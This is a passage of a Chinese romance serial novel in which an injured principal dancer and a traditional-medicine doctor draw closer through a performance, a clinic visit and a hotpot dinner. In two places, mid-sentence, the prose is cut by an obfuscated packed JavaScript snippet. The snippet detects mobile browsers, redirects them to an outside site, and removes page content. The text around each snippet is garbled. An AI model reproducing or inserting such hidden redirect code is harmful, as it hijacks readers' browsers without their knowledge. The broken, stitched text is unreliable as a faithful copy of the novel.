再讲了,接下来团里的工作安排紧凑。近两年文化演出市场热度攀升,团里为了迎合市场,更是要抓住他们几位首席舞者在社交媒体上的流量同影响力,加之前面几台舞剧良好反馈的长尾效应,月底,团里策划了一场舞蹈夜宴。半公益性质售票,舞团的开年首演,演出内容集合舞团主要演员的经典剧目和舞团口碑剧目的经典选段。 作为新晋首席演员,三把火的热气还没烧完呢,演出自是少不了孟圆的剧目。今朝团长还同她沟通过脚踝恢复情况,她和搭档老杨的《高粱熟了红满天》里经典的一幕双人舞拟定在演出第三幕的节目中,如果她这边不能跳,只能另作安排了。孟圆考虑片刻,找了康复老师商量,演出还有一段时间,伤情已经稳定且在康复阶段,于是,她最终应了下来。 这也是她当晚预约治疗迟到的原因。时间紧自然任务重,团里趁热打铁,当天下午就安排了主创人员创排会。 总之,现下一番自省后,孟圆暗暗给自己立下小小flag,升首席后的第一次考核,轻伤不下火线,绝对不掉链子。 - 那晚,周芑绕了两倍的路程再返回头,一屋子的人夜饭已经吃得差不多,老师学生齐齐准备转战书房,老爷子日常的学生业务交流座谈会。到了还是家里的保姆阿姨惦记着小周空着肚皮,给他留出来的饭菜温在灶台上。 眼下,时间已经是五点半。 中医馆门诊下班时间是五点,五点后便不开放预约了。周芑送走他内科门诊的最后一位病人,再次刷新一遍后台,确定没有孟圆的预约信息。 关闭医生后台,周芑转头,补充整理归档一天的病案病例。一切结束,他看了看时间,自己都未察觉地蹙蹙眉毛,再拿出自己的笔电,继续查文献改论文。 从来如如不动之心的周医生,在诊室里头捱到医馆下班的晚八点,又是眉间一拧,今朝的效率有点低,右边小腿偏偏也来轧闹猛,突然一阵不适意。且,有的病人很是对自己不大负责,悄没声就爽约了。 想到最后一个词,周医生的眉头更难舒展,再正常不过的一件事体,他不该出现超出职业范畴的词汇。收拾好诊室和自己,周医生单肩挎了背包,下班。 这座城市就没有真正冷清的时候,即便是春寒料峭的夜里头。 车里,周芑揿下启动键却没有着急起步。徐徐溢出的暖气仿佛给风吹冷掉的情绪也解冻了,他拿出手机,点开和孟圆的聊天框,对话还停留在刚加上那天客套的医患对话。 周芑犹豫着输入:[你好,孟小姐。今天是你的复诊时间……] 周医生负责地操心伤病对舞蹈演员职业生涯的影响,伤筋动骨本就是搓磨人的事。他方才编辑下一段文字,又一瞬间通通删了个净净光。有康复师支援,又或许,一个成熟的舞蹈演员该有分寸的,不是吗。他甚至期望、笃信乃至迷信,孟圆已经康复自愈。 醒神回来,周医生谨慎的职业操守最终没有肯自己越线。“医不叩门,法不轻传”绝非一句简单的警世恒言,任何医疗机构的医生在非紧急情况与非必要随访的情况下联系病人,都已然超出职业规范的嫌疑。 灯火阑珊的夜幕里,周芑利落退出微信,锁屏手机,左打方向轻轻滑出停车位。 - 三月底,春天的气息愈发浓了,更难得的是今年雨水少。这两周日头还不错,据天气预报显示,这样的好辰光大概可以持续到四月初。 孟圆经历了痛苦回功的一周之后,训练强度渐渐跟上来。当然,每周她也会抽两个下午找康复老师做放松和康复训练。 这个周六,就是舞团开年首演的日子。今朝简单的试妆排练下午四点便结束。孟圆约了卉卉,两人年后就没有正式聚过呢,顺便,舞团内部留了些赠票,她要了两张要给卉卉。 卉卉也是团里的老熟人,偶尔回团里看看像回娘家似的。她特地早了半小时来,等孟圆,会会老领导老同事,也久违地回味一下从前排练的日子。 众人一阵寒暄过后,孟圆换好衣裳,两人直奔卉卉的车子去。 她们一早讲定,今晚就住在孟圆那,晚饭在家里头,她给卉卉叫个外卖对付了。演出在即,孟圆正严格控制饮食中。 等外卖的时候,孟圆先去洗了澡,卉卉趁着这个空档,将下午排练教室的几张合影修了修。 “照片发你了,文案也编好了,快发朋友圈。”卉卉盘腿坐在茶几前,看换上家居服一身清爽的人,毫不客气地催促她。 孟圆面上还有吹过头发后热风烘烤的淡淡粉红,一边撸了袖子,两下把长发挽在脑后。她娇气且嗔怪地口吻抗议,“这么强买强卖强盗行为的吗,”而且,孟圆嫌弃,“这个文案跟流水线作业一样,巴死了。” 卉卉才不肯,她很用心编辑的姐妹款文案好不好,她盯着孟圆,“快点呀,不要扯,我要看你用你的手发出去!” 孟圆嘴上不情不愿的,还是鼓着嘴给她发出去了,三张不同的合照,连同她嫌弃的文案:开心,卉卉同学回娘家探班~ 卉卉满意,检查后第一个点赞的人,转头被孟圆踹着去门口接外卖,“总归是你的口粮,自己去拿。” 老闺蜜大惊小怪的吐槽,“我是客人好不好。” 孟圆坐在沙发上依旧是一小杯零添加酸奶加一根蛋白棒,味同嚼蜡。她同闺蜜发出邀请,周六下午陪她去打一针封闭针,她要卉卉给她壮胆。其实,她的脚踝一直没有恢复到最佳状态,在做一些控制和大幅度跳跃的时候,还会有痛感,为了保证演出万无一失,她才出此下策。 卉卉嘴里一口炸大排还没吞下去就喊出来,“昏特啦,要西啦。(昏掉了,要死呀)” 孟圆听她一通输出,道理都懂,但是,“这一次问题应该不大,不是讲封闭本身也能消炎症嘛,帮帮忙啦,我自己害怕的。” 卉卉叹气,一阵现身说法同警告,还是没法子,人类最统一的共性大概是不听劝,劝有用的话,警察也要少一半。什么时候,人总有自己的难处。 卉卉问她,“你有数的哦,你问过医生确定吧。” 孟圆正要点头,和团里的刘老师问过了呀,手机突然叮叮两响。孟圆不敢吐槽,有人的嘴开光了,说医生,有医生的短信就来了。 - 那头,周芑依旧按部就班的生活,没有什么新鲜事,连右腿残端两处最脆弱最难应付的瘢痕,也周而复始地再磨破再愈合。直到今天下班后,不想做饭的人,有心或无心地点开了朋友圈,界面顶头的第一条更新,就是孟圆的训练日常。 似乎是她要好的朋友去舞团看她了。周芑分不清合照里的谁和谁,他只认识照片里最点眼的那一个。中式的红衣红裙,衬得孟圆分明一张明艳的芙蓉面,可是他眼里更鲜明的,是她裙边下脚背处漏出的一截肤色绷带。 这一刻,周医生的职业规范、流程守则也全不顶用了,他自洽地找补,严格讲孟圆已经不是他的患者了,他亦不过是相识的朋友一个善意的提醒。 周医生:[你好孟小姐,打扰了。近期看你一直没来复诊,不知道愈后效果如何。即使患处自身感觉无异常,建议最好还是做一次康复评定,日常运动前应充分热身,训练恢复宜循序渐进。早日康复,工作顺利。周芑] 孟圆看到这条信息,心里一下一下好似有鼓点敲起来。意外,不确定,纠结,诚然,她不想承认,还有点,开心。 她这里千回百转的,这个人怎么回事嘛,突然的医嘱吗,又留什么名字,怕谁不晓得他呀。说不准又是例行公事,私立医院的医生有什么KPI么?或者…… 千万别多想!孟圆前车之鉴地提醒自己。这回她当真矜持礼貌的社交话术回复他,她差不多好了,也一切顺利,谢谢周医生。 以及,周医生工作顺利。连表情都不多带一个。 苦口婆心的好闺蜜在茶几对面微仰着下巴瞧她,什么面色呀,有啥幺蛾子,“撒宁呀。(谁呀)” 孟圆骤地一抬眸,哦,“没什么。” 卉卉眯一下眼睛,才要开口,你骗鬼吧,摒不住的那个人先抢白了,“诶,你说,医生一般会不会主动加病人微信的。” “有必要也会吧,之前我爸爸心脏搭支架,管床医生有加我妈妈微信的。” 孟圆心里落下去一点,就知道,可是,“如果,医生热心肠给病人搭顺风车,正常吗。” 卉卉哈哈笑,“这么拼,下班还搞副业接单噢。”她还没笑完呢,突然急刹车似的大喘气,“什么情况,那个男医生是不是!” “哎呀,随便问问好吧。”有人这时候忸怩起来。 “少来。” 卉卉不依不饶,孟圆搪塞不过,只好跟闺蜜描述一遍,你说…… 算了算了,说不准自己就是那种绝境下找到安全感的情感投射心理作祟呢。现代女性最不该被情情爱爱的消磨意志,要人间清醒才对。 屁!进入稳定情感关系的人第一个出声反对,卉卉这个狗头军师也最直观的抓重点,“卖相好吧啦?” 孟圆白闺蜜一眼,心里再浮起来那张建模脸,还有,那天她说的比例好,也是真的。已经想了一大箩筐的人漫不经心状,点点头,再度有所保留,“算还不错吧。” 卉卉虎躯一震,盘丝洞的妖精一般的腔调,“那还犹豫什么,怎么就好算了,我觉得有戏。” 孟圆被她喊得七荤八素,“万一人家有对象呢,而且……” 好嘛,又是话到一半,这回是卉卉的男朋友打来视频电话,一会说查岗,一会说猫猫想她了。两个人一年了还腻腻歪歪的。 孟圆无语,装作赶人,“这么难舍难分我就不留你了啊。” 卉卉才没有不好意思,远程飞去一个吻,明早就回去啦。 孟圆什么兴致都没了,要闺蜜回去算了,心也飞了。 “那我真走呀?” 孟圆就晓得她,斜乜她一眼,“滚吧滚吧,麻烦外卖带下楼去扔掉。” 哈哈,“你对我最好了。”卉卉火速收拾桌面。 狗头军师有时候也有灵光一闪的急智,她投桃报李般挪到好姐妹跟前,两张舞剧的票子塞回闺蜜手里,“去请你的医生看。一来么试探他是不是单身,二个,试试他的态度。他要真有对象或者没那个意思,你就当认清一个渣男,也还掉顺风车的人情,桥归桥路归路。不丢人也不亏。” 孟圆当局者的豁然开朗,冲闺蜜一笑。 “哼~”卉卉睨她一眼,走到门口再回头,“怎么送票子不用我教吧。” “快走吧。”孟圆拿手里的演出票假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062663|195099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装掼她。 - 隔天,周四下班前,接诊台的护士给周医生送来一封顺丰快件。 周芑稍稍诧异,道一声谢接过来。待看清楚地址和寄件人,他更是诧异。前一晚的短信分明那样的客套同疏离。 说实话,那一刻周芑心里难免小小的失落,却也意料中的坦然。原本最普通平凡的医患关系,或许唯一的一点天意,不过是“原来是你”的一个擦身。然后,他们又是世界微尘里各自浮沉的人,在不为人知处,曾经恰巧在同一个时间节点,因为同一件事,经历了人生乃至命运的变故和伤痛。而那一刻周芑是感激的,不论是短暂作为他的病人的孟圆,还是那时候奋不顾身拦在他车前的孟警官。 眼前,周芑一点恍惚,那点心理建设摇摇欲坠的危墙般,轻轻一碰就能一点点坍落。 他拆出来两张S市歌剧舞剧院的演出票,思索片刻,给孟圆去了信息。 很快,那厢就回复了。下一秒,语音通话提示震起来。 “周医生,方便通话吗。”孟圆礼貌且客套的口吻。 周芑依旧温和沉静的口吻,“方便,请讲。” “之前麻烦你那么多,一直想感谢你的。我们演出一般都有些福利票给演员,我手里刚好有两张,就给你寄过去了,希望你不要嫌弃,当我借花献佛吧,谢谢周医生。” “不晓得你感不感兴趣,或许你有女朋友、或者女性朋友,你陪她来看看也蛮好的。”孟圆觉得自己一定干不了亏心事,这样试探的话术她分明说得心跳加速的,急吼吼倒豆子般蹦出来。 她听对面短暂的静默,心也跟着提起来,终于,那边音色不改地告诉孟圆,他还是单身,也感谢她的好意,他也只是做一个医生该做的。 “你实在不用刻意感谢,而且,我好像不太合适收受你的礼品,孟小姐……” “周医生不用有负担,”大概她期待的答案鼓舞到她,孟圆语调都轻快些,“两张票我没有花钱,现在也不是你的患者了,这应当不算贿赂吧。” 孟圆抖擞了精神按狗头军师的套路乘胜追击,“我们团的开年首演,算团里最豪华的阵容了。经典剧目的经典选段都在,蛮难得的,也是我的开年首演。”有人适时的留白。 人之所以是人,或许就是因为那份克制欲念却无法战胜欲念的情感。再是短暂的静默,周芑也不过是凡胎-肉-体的平凡人,“谢谢你的礼物,还有,心意。” 孟圆不自禁笑了,“那你有空吗,周六。” “有空。”周芑没有犹豫,值班那么些日子,总不至于连个周六也匀不出。 “嗯。”孟圆抬头望排练楼走廊窗外的天,黄昏薄暮,天空好像染了层浅浅的紫红色,“周医生,那天我怕没时间招呼你,希望你看演出开心。” 周芑擎着笑,“会的。祝你演出顺利。” 通话“叮”一声挂断,周芑手里捻着两张演出票,笑意未退,也在他转身之际,肖师兄又来串门子了,“什么东西。” 不速之客凑过来,周芑一秒变脸的抬头,投师兄一眼。 “演出票,舞蹈……”肖师兄奇怪,也压不住的八卦魂,“你买的?不会吧,什么时候开始欣赏高雅艺术啦。” 周芑推开他,不愿搭理他,不置可否亦不为所动。 肖俊文直觉铁定有猫腻,他不受挫,再挨过去,“别人送的吧,送你两张票,那一定是要你再邀一个人了。小师弟,有情况啊~” 周芑也不看他,“专研八卦的心思拿来专研业务,师兄一定更上一层楼。” “你少来。你要和谁去啊,放心,师兄摒得牢,保证不同你家老周和周老讲。”肖俊文不死心。 “没谁,一个人。”周芑眼皮都不抬一下,票子夹到笔记本里,转头脱白大褂,洗手,准备下班。 可某人偏偏不地道,顺手就抽走他一张演出票,“你一个人那么就请我一道好了,让我也接受一下艺术熏陶,跟你做个伴。” “你,”周芑还改不了外科医生的习惯,两只手洗了举在胸前,看着眼前的活土匪直皱眉,“礼貌吗。” 肖俊文呵呵地笑,“你真一个人去啊?” 周芑投他一眼,面色寡淡。 “我真拿了啊,我说真的。” “赶紧滚。” “周六见,我要赶紧和小陆换个班去。”得了便宜卖乖的人嘴里喊着还怪不好意思的。 - 周六的晚上,周芑准时抵达剧院,一道道还有西服领带参加研讨会装扮的肖俊文。 孟圆的节目靠后,是一段双人舞,演出单上介绍,这是前年国庆歌剧舞剧院创排的贺礼舞剧,孟圆跳的角色是女主九儿。 舞台的追光里,她一袭鲜红惹眼的衣裙,和男演员完成了一次次精巧且惊叹的或托举,或高抛的高难度双人配合。连最初逛大观园一般的肖俊文也看进去了。 一个半小时,演出的最后,演员谢幕返场,依次展示自己的个人技答谢回馈观众。 孟圆作为新晋首席是最后一个以大跳出场的。不辜负粉丝的期待,孟圆大跳落地之后连续三个涮腰,再立刻衔接转出残影的端腿转。最后一个原地控腿转换探海,紧接着快速变探海踹飞燕亮相。 周围一瞬掀起浪似的掌声,周芑是感动的甚至震撼的。 他身旁的肖师兄,在孟圆身体拧过来的一瞬间喊出来,“卧槽!” 周芑冷淡射过来一记眼神。 自觉不妥的肖师兄立马改口,不是,“叹为观止,惊为天人。”他激动不已地揪住他小师弟的胳膊,“每一个动作都是要刷爆医保卡的程度啊。” 周芑不语。人人都赞叹的耀眼之后,他忽而记起来她脚上的茧与伤痕,心上竟然一丝难察觉的触痛。 是夜,离开人声鼎沸里,孟圆收到一条信息: [谢谢你的邀请和赠票,演出很精彩,九儿很美。晚安。] 4. C4. 四月,槐序。 开年首演顺利结束,再碰上后头紧跟着的清明小长假,团里排练安排不那么紧张,接下来几天只有上午下午各一堂训练课。尽管演员当中卷还是卷,周遭的氛围却轻松不少。 其实,歌剧舞剧院这样的大型演出单位,平时是少有节假日的,也许该说节假日才是她们最忙碌最红火的辰光。按说这回清明假没有演出任务,本是难得的休憩时间,偏偏孟圆这两日有点糟心。 其一也首当其冲的,自然是脚踝伤有反复的趋势,出现轻度红肿伴随紧绷胀痛感。封闭针本就是无奈的一项选择,对后期可能出现的问题孟圆是有心理准备的。从前她和卉卉为了演出机会,也是悄悄打过封闭的,当时有过一针之后伤病好转的情形,偏这回事与愿违的挫败。 还有其二,她人生头一回的主动示好,却仿佛石子投进湖里,光听个响。那晚的感谢微信之后,有人再点赞了她的后台演职人员合影朋友圈,就又躺列了。孟圆现在不是怀疑周芑,是怀疑自己,是不是真的情感投射想多了,又或者她会错意的自作多情,“九儿很美”,不就是他边界感的避嫌,到底她是奔三张的人…… 孟圆赶紧打住,矮化甚至物化女性的糟粕思想要不得,女性的舞台早跳脱出一张梳妆台,不需要俘获谁人的心去谋生活。新时代女性拥有更广阔的天地,智慧清醒的人更不该无意义地内耗自己。 一个巴掌拍不响,笨蛋才会再吧脸贴上去。 孟圆笃定,恋爱不如跳舞! 回到跳舞,眼前第一要务理所当然是处理脚踝的问题。孟圆从来不缺行动力,周一她请康复老师简单检查测评后便去了医院。 由于近期的训练强度,加之封闭针作用的掩盖,原损伤部位在无痛状态下被过度使用,导致周围微血管再次破裂,出现炎症症状。这次的MRI结果还显示,左距骨骨挫伤,也是二次冲击造成,幸运的是,没有脱位错位的问题。 孟圆当真沮丧极了,重新审视这次坚持带伤演出的决定,心中发虚,实在是不理智也过于小性,简直是拿职业生涯做赌注的不负责任的豪赌。名利,掌声,赞誉,大约是她的理想不够纯粹了,想要走得更远,就更不能执着眼前。 痛定思痛吧,次日上午,孟圆和团里沟通过伤病情况,团里也及时调整了她接下来的工作安排和训练计划。 到下半日,再三思量,孟圆还是小程序约了广白堂的门诊号。不过这趟,她正经约的骨科门诊,挑挑拣拣选了肖俊文医生的号,名老中医的号什么时间都是抢手的,她这厢急火饭的临时临了没抢到。她没再约周芑的门诊,倒不是不信任人家的医术,周医生体面地避嫌了,她样样不缺的独立女性更是拎得清。 骨科同内科,不搭噶的! - 广白堂药香满堂,求医问药的人往来擦肩。 孟圆戴了只黑色口罩,及腰的长发团了个半高的发髻。她还是约的4点到5点的号段,因为前头的号约满了。 肖俊文医生乍见一个气质脱俗的纤细高挑的年轻小姐走进来,隔着口罩混着中药味也隐隐嗅得到的冷香调。那么个黑色口罩遮住巴掌大的面孔,额头光洁白皙,眉眼如画,他惊艳之余暗忖该不是什么女明星吧。 等人家清清爽爽问好,递过来几张新鲜出炉的病例单和MRI检查报告,肖俊文一瞧,孟圆,这个名字倒是没印象。嗯,年纪不大,脚踝旧伤二次损伤。 肖医生按流程触诊检查,发现有患处疑似两处封闭针的痕迹。他再谨慎问清楚病人的受伤的情况和治疗史,得知对方是舞蹈演员,为了演出,自觉问题不大才打了封闭,不由得眉头一紧。 他那天说什么的,每一个动作都够刷爆医保卡。肖医生叹气,也随口一提,“舞蹈演员,不会是上个礼拜六歌剧舞剧院的演出吧。” 孟圆惊讶,眼神一亮,“你知道?” 这回轮到肖医生诧异了,抬眼打量,“正好去看了,哦哟,你们真是太牛了。” “谢谢。”孟圆自然而然地致谢。 闻言,蹭票的肖医生有些不好意思,又颇有些感慨,“真是不晓得你们这么不容易的,带伤拼命,”不过,他专业态度的转折,“医生的角度,打封闭演出还是很不建议的,风险太大。你吃专业饭的,这里本来就有陈旧伤,不当心以后要麻烦了。” 考虑患者三天前才打了封闭,现在出现炎症反应和骨挫伤,且在损伤急性期,肖俊文只给孟圆固定了一个脚踝带,在右手对应远端取穴,做了一个简单的治疗。 “回去先养养,这只脚脚踝尽量减少负重,跑跳一类的剧烈运动绝对禁止,可以轻微活动促进血液循环,给你开点外用药。脚踝带你会打的,这几天最好每天戴一戴,不要打太紧。三到五天,消消肿再来复诊,做治疗。” 肖医生最后没摒住多嘴,随和聊天状,“礼拜六你跳的哪个角色。” 孟圆一愣,还是满足了观众的好奇心,“九儿。” 对面肖医生简直肃然起敬,“厉害,太厉害了!”他赞叹过后的叮嘱,“谨遵医嘱,你这个伤不好再折腾了啊。” 孟圆看着这位社牛医生竟有些尴尬,勉强点头,“好的,谢谢。” 肖俊文等孟圆出了诊室,看后头没号了,立马按耐不住给小师弟发去微信: [你猜我刚刚接诊到谁!九儿!] [就是礼拜六,礼拜六演出那个九儿!] 周芑刚从那头老师的诊室出来,今朝他门诊患者不多,朱老恰巧是坐诊日,便喊了他过去看一个病例。白大褂口袋里手机连着催了两声,他掏出来一看,面上一紧,直接锁了屏,加紧脚步往大厅去。 周芑眼神粗粗扫了一圈,正要拿手机出来找孟圆的微信,一闪而过的一个出挑且熟悉的身影,就缓步朝大门口走过去。 快走几步追过去,周芑在她斜后方启口,一面脱下口罩,“孟圆。” 孟圆还以为自己听岔了,微微茫然中扭头张望,微信躺列的人活生生冒出来了,清亮又沉稳的声音,第一次喊她的名字。 “周医生。”她一时忘了动作,顿在原地望着他。 “来看病的吗,还是脚踝不舒服?”周芑看她手里的纸袋,眼里藏着些紧张。 孟圆几乎下意识的内疚感,她悄悄变节,没有选择认真负责的周医生看诊。可当她对上这张脸的一瞬,才浮上心头的难为情立马再退回去,骨科和内科,不搭噶! “嗯。”如是想,孟圆淡淡的也静静的,守着周医生的边界,“周医生有事吗。” 周芑见她这样的冷调,一时更吃不准了。 原本他那日多想当面祝贺她,可他猜得到她一定是忙碌的,比起他的一声祝贺,周芑更希望孟圆尽情接受大家的掌声和鲜花,那才不负她的努力。 后来,他也想过一个问候,或者该约她,正式感谢她的赠票,然而到底源于医患关系的萍水相逢,他不确定这样贸然的邀约会不会太唐突。 于是,端方持重的周医生把事情耽搁到现在。 孟圆等着周医生的下文。 一秒,两秒,周医生依旧端正的风度欲言又止。 什么嘛,她是读不懂他眼里的情绪了,但她可以清醒自己,“周医生没事我就先走了,再会。” “等等,”周芑这才朝自己坦白,也向孟圆坦荡的决心,“你等我一下,孟圆,我有事,找你。” 他笃定,会关注她,想关心她,并不只是因为她是孟警官的女儿。 周芑迅速看一眼时间,“我就能下班了,一起吃个饭吧。一直想找你的,谢谢你送我的演出票,演出真的很精彩。” 孟圆愣了愣,忍不住勾起嘴角,而后暗自庆幸,还好今朝戴了口罩。 周芑匆匆回头,和小师兄撞个迎头。好半天没等来小师弟回复的肖师兄笃悠悠找来诊室。见小师弟着急下班的样子,更关心那条微信了,“你看没看到我的消息,啊。” “看了。”周芑敷衍了事。 “就这个反应啊!”肖师兄反问。 周芑没空理他,笔电归进背包里,“我还有事,你自便。” 肖师兄有些讪讪,“你老师那头?” “嗯。” 行吧,晓得朱老今朝坐诊,师傅召唤,自然第一等大事。肖俊文扫兴,走了。 周芑再匆匆往大门口汇合了孟圆,同她一道去取车。 看她有些缓滞的步伐,周芑悄悄等着她,也一面问她,有什么忌口,有没有想吃的,他少有在外头吃饭,“你来挑地方吧。” 孟圆侧脸瞥他一眼,一两人目前的关系,西餐厅稍嫌有点暧昧,漂亮饭男士怕不大能饱腹,各地菜系又总归众口难调。 最后,有人大大方方地决定,“海底捞好了,你吃火锅的吧。”最江湖也最鼎沸的食物,自然也最接地气最包容,包容天南海北的口味,也包容亲疏远近的关系。 周芑抬眉,一点意料之外,却也从容地点头,没问题,就海底捞。 - 面前蒸腾的热气里,周芑稍显歉仄地望着孟圆。 孟圆原本照顾周医生吃不了辣,点的双拼锅底,番茄和菌菇。不料,转行中医的周医生时刻警醒的职业操守,因着中医理论里的辩证论治,建议受伤的人暂时就不要沾菌菇这类的发物为好。 患者本人也爽快,即刻无所谓地换了个清水锅底。 这下,东道主瞧着一桌子量不多的菜品,还都是素菜为主,难免有些过意不去。 孟圆也不听他的中医理论,朝他暖心一笑,要周医生宽心,“不是同你客气,我要控制热量的,最近都不能训练了,你不晓得我们上称多恐怖。” 周芑表示担忧地皱一下眉,还是问了她忌口之后多加了些荤菜,“患处恢复还是需要保证营养和优质蛋白摄入的。” 孟圆听罢,打趣周医生当真好敬业。 周芑噎一下,“抱歉。”他好像实在不大会找话题。 孟圆适时学起周医生的那句话,要他“放轻松”。 她眼下就蛮心大的样子,“一点小伤,不足挂齿。” 周芑隔着沾上些雾气的镜片望对面言笑晏晏的人,淡淡一笑。 孟圆莞尔,向周医生推荐海底捞的眼睛布,“超级好用的,你平时戴口罩戴眼镜都怎么办的呀。”她一面端起土豆和娃娃菜先下到锅里,她喜欢软一点的娃娃菜。 周芑摘下眼镜擦拭,也认真回应她的疑问,“金属条折好,眼睛压在口罩上,基本就能克服了。不过我做中医以前在胸外,有时候会要上手术,在鼻梁和口罩接触的位置贴张医用膜,那个效果更好。” 孟圆点头,眼里除了诧异再分明又多了些敬佩。 一顿火锅吃下来,孟圆发现,周医生还是话不多,但是蛮会照顾人的。且,热气腾腾的环境他仍旧斯斯文文的吃相。 期间偶尔的闲话,周芑找的话题好像还是离不开他的本职工作,他问孟圆,医生怎么说,之前有再检查过吗。 “昨天拍了核磁,也没什么。你们医院的医生让先休息几天再来复诊做治疗,”孟圆眼下还有点后知后觉,仿佛找到售后人员的小吐槽,“周柏仁的专家号好难抢的,我只约到叫肖俊文的医生。” 周芑弯弯嘴角,“肖医生是周老的学生,专业过硬的。”不过,他也有点没get师兄的治疗思路,“你手上有云报告吗,MRI,核磁,能看看吗。” 孟圆把手机递过去,她心里还是更信任周医生一些的。 “更严重了点啊。”周芑职业的严肃口吻。 他也这样讲,孟圆很难不沮丧,索性话头一转,“你们清明节会放假吗。” 周芑思索中抬头,手机还回去,“我们也跟法定节假日走,但很多患者节假日才有空,所以一般会安排值班和调班。” “怎么听起来跟我们差不多,节假日最忙,放假的时候正好是演出的时候。” “你现在脚踝受伤……”周医生很是严谨,又怕太说教口吻招她反感。 孟圆笑,“我肯定跳不了的,周医生放心。”而且,她忽然平静的陈述,“我清明节要给我爸爸扫墓。” 正因为要和袁敏一道给父亲扫墓,她才更着急看医生,袁敏要晓得她受伤,大概又要劝她转行。袁敏做审计工作的,稳定务实管的人一直不大赞同她做舞蹈演员的,做母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062664|195099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的不忍心她太辛苦是一方面,另一方面,袁敏觉得不值当。总归青春饭不牢靠,到时候退下来,年纪轻轻只赚回来一身伤。 她换一口气,再问周芑,“你呢,清明假要值班吗。” 周芑头一次听她说到她父亲,默了半晌,才缓缓回应她,“清明我都不值班,我也要给我母亲扫墓。” 孟圆直觉周芑的情绪似乎有一刹那的低迷,连忙道抱歉。 “不会,没关系。” 至此,孟圆好像也少了些兴致,提议回头吧,时间差不多了。 - 两人下一齐下到停车场,周芑却不着急开车。他调好暖气,抬手揿亮车内顶灯,再点开手机照明灯给孟圆,“拿着,左脚抬起来。” 一头雾水的人愣忪着,傻傻照做,等有人摘了她的鞋子、棉袜,托着她的脚踝,她才反应过来地报赧。 孟圆本能就要把脚收回去,周芑却没有松手,“别动。” “我没洗……周芑,你要怎么洗手呀……”逐渐升温的空间里,孟圆觉得自己没出息极了,她一颗心好像要飘起来,又着实有些难为情。 “车里有消毒湿巾,”没有白大褂的周医生依旧心无旁骛的镇定,“手机拿好。” 片刻,周芑简单的触诊后,面色倏然严阵起来,“你打封闭了。”他抬头开孟圆清瘦秀丽的脸,汇上她没有防备的眼神,分明严肃又严重的口吻,“靠封闭的麻醉缓释效果进行高强度运动很可能造成患处更严重的损伤,还有副作用,你……” 周芑陡然停下,不再言声。一个专业的舞者,已然选择了最无奈的一种方式,大概不用他来科普这些风险危害论了。他也痛心,不仅仅是作为医者,“舞蹈是一门残酷的艺术”这一刻在他眼前具像化,那个翩然旋转跳跃的红色身影,好像每一步都落在他的心上,轻盈又沉重。 “周芑。” “你是很优秀的舞者,这些利害关系还是道理的,不用我讲你也明白,千万不要轻视任何一次伤病。”周芑给她重新缠好脚踝护带。 望着静谧幽暗里的一簇光,眼前人垂眸的认真,他手心的温热一股细密的暖流般直抵孟圆的心里,她觉得她必须说些什么才行。 “我今天和团里沟通了后面的工作,下一轮巡演我大概率也不参加了。周芑,我进团十年才晋升首席演员,上个月是我晋升后的第一次全团考核,还有舞团的开年演出,我晋升不过半年……”或许眼前人一直那样的从容与冷静,她才莫名的安全感和倾诉欲,不避讳她的野心,焦虑,矛盾,不安,甚至那些她从未宣之于口的。 “你说我是很优秀的舞者,但是团里最不缺的就是优秀的舞者,年轻的,有天赋的。而我不是最年轻的,也不是最有天赋的,更没有那么活络的手段。我的同事,有骨裂缠着固定绷带吃了止痛片也不肯放弃考核的,也有发烧肠绞痛吃了药完成演出的,我的闺蜜曾经演出开场20分钟就意外受伤,简单处理后继续跳,最后一幕下来,舞蹈袜上都是血,人跪在地上痛得全身发抖。我们团百分之九十的人随身装着止痛药,太多人都太努力,因为我们清楚舞者的职业生命周期其实很短暂,每一次演出机会都要拼命抓住。” “首席演员好像更难,有时候像在火上烹。你跳得好,是应该,甚至该更好才对,而你有一点失误,可能就是质疑甚至谩骂声。那么多双眼睛盯着你,你没资格懈怠。” 周芑静静地看着她。她似一朵用力绽放的花,极尽热烈之下,是无人察觉的孤独的悲壮感。 周芑再明白不过,他也曾经历过十二年的不懈怠。而一夕骤变,身体没办法负担长时间高强度的手术,那些不懈怠终究成了无人知晓的尘与光。 他明白她的不懈怠,更清楚他心痛这样的她,亦心动这样的她。他倾身过去,明明想抱一抱她,可周医生就是这样,理智战胜情感,拾掇起那只勃肯鞋,替她轻轻套回脚上。 “所以你更要爱护自己,重视每一次伤病的恢复,你的舞蹈生命一定可以很长。”周医生和煦且有力的腔调,安慰人的话也有些医嘱的味道,“孟圆,你是我见过最好的舞者。” 孟圆闻言,不响,微微低头的浅笑。 “我是认真的。”周芑郑重的神情望她。 孟圆的笑意更盛了,“嗯,谢谢。” 一时寂静里,四目相对的两个人再默不作声地挪开两双眼睛。 周芑抽了两张湿巾仔细揩过手,也整理好温热的空气中黏腻的情绪,他提醒孟圆,拿上东西别落下,“走了。” 一旁,耳朵发烧心里怦然的人有点慢半拍,偏头望他。 “下车,我们打车走。”周芑此刻轻松略带调侃的口吻点某人,“醪糟也是酒。” 孟圆豁然。是了,她方才在店里看见小料台有醪糟,吃火锅前一时馋嘴,调了两碗赤豆酒酿,顺带热情分享给周芑,她和闺蜜之前试过,很惊喜的口感呢。 可是,“叫代驾不就可以么。”孟圆不解,真诚发问,也怕周医生不会醉了吧,万宝全书也有缺个角的时候。 